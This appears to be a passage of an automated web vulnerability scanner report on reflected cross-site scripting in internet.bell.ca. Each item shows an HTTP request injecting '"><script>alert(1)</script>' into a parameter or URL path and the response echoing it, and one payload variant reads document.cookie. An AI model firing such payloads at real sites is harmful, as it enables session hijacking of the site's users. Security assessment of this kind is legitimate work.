Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:29:28 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:29:28 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:29:28 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:29:28 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:29:28 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:29:28 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EChat%20session%20in%20progress%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:29:28 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=supportChat.start&INT=ISP_SA_Q2_chat_support_KF_BAN_EN572b6"><script>alert(1)</script>7632199c410" />
...[SNIP]...

2.14. http://internet.bell.ca/index.cfm [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64d17"><script>alert(1)</script>7c622fe5c7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfm64d17"><script>alert(1)</script>7c622fe5c7?method=sso.myBell HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/index.cfm?83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_u=276131723871238_1_0.05_0_5_1290908625687; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; gemini=region=ON|province=ON|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; SMSESSION=6efOmr1xY6oKLPwpdewQyE43vjbKFAHVu1Ds1soMFaIn7FWe7Rhv7ScVpVk0Rj5WxhhLKuaphO5MzaqLsbW/A93qoN1yp5yg2SqRXxsZEll5qj0r3bPcnJUTKpyVd6KElrdxuRXlwPXU7FmHXxVLcX4VxvWV0vEnDZ1qtKytFMrRnTrCh60V00CpHK0xZu85j9mRkJuGoRB8W6eeVYiTkWCZVaebmi3cma+KxJY0sGT3U9LseWDpj87XGOXAB8inbG8hGwIuqvZ5Q3axidgrdFPnuz4FFKDLFAHSnhveld2mABelCG1REg==; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:23:48 GMT
Connection: close
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:23:48 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:23:48 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:23:48 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:23:48 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:23:48 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:23:48 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:23:48 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:23:48 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:23:48 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:23:48 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/index.cfm64d17"><script>alert(1)</script>7c622fe5c7?method=sso.myBell" />
...[SNIP]...

2.15. http://internet.bell.ca/index.cfm [_payment parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of the _payment request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72707"><script>alert(1)</script>f3b7f113ee2 was submitted in the _payment parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?method=categories.view&category_id=546#billing_&_payment72707"><script>alert(1)</script>f3b7f113ee2 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:29:38 GMT
Connection: close
Set-Cookie: SMSESSION=dRmVBgGokfBebVKt1vdYMVgKYhEl2BnbmLsRJXRUWjfuCthg8DKV0jn6CSFVVxpYpOqFqtWEXUbqdoAAdqjRS1TbTrG1if2EKL+r2Ttmlxw/1luMsMWNYqke7KL6je4gEf54ugcQDZKk/oUBljq71b5ylOSsYxXMNqXKGT5jvPmm7mupni4z2bnw0SyDW1FwdZO5D/6O81MHPukStNft6SZnXpfZJzyp6r4/VM9gCp67pPcjfpyhiP2HieE/EbsoEJEwfaniYbINV/6MdVS8hZ+90pWfbg+ppeMGXCupFvD88Sf2cioDXw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:29:39 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:29:39 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:29:39 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:29:39 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:29:39 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:29:39 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:29:39 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:29:39 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:29:39 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3Fmethod%3Dcategories%2Eview%26category%5Fid%3D546%23billing%5F%26%5Fpayment72707%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3Ef3b7f113ee2;domain=sympatico.ca;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E546%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EComptes%20et%20factures%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:29:39 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=categories.view&category_id=546#billing_&_payment72707"><script>alert(1)</script>f3b7f113ee2" />
...[SNIP]...

2.16. http://internet.bell.ca/index.cfm [category_id parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of the category_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b2ff"><script>alert(1)</script>04a873ed0ec was submitted in the category_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?method=categories.view&category_id=546#billing_2b2ff"><script>alert(1)</script>04a873ed0ec&_payment HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:29:32 GMT
Connection: close
Set-Cookie: SMSESSION=oxlJ+c36/T1yADfV6cEIi90jgWwr0DRJA/0MiVPVQZI/qbQzUr0ScFc3YBtmba4XWjuReckDufpTRfzHDpJr/b8WyEa7AhRy10JsnkOdLkOwSTWSb4bR6gJ0HzynMld+w/OFQkRCNc7b0TbDPf5zTfbHuGMSVRjO4O/hxYZHDkwaB8GcDG/4PI3sihG6RaKqR1i0tpv6e4ppHN+jvJ5lovZBgb/1RAAcELKj1pzBXMOtWeFafqOBZKYYwJmtY/VFX+bhLjyEom0mOAPari92MZxo+wwkchi0w0vPXHN6PGMOx9Nq26fh5Q==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:29:33 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3Fmethod%3Dcategories%2Eview%26category%5Fid%3D546%23billing%5F2b2ff%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E04a873ed0ec%26%5Fpayment;domain=sympatico.ca;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E546%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EComptes%20et%20factures%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Ep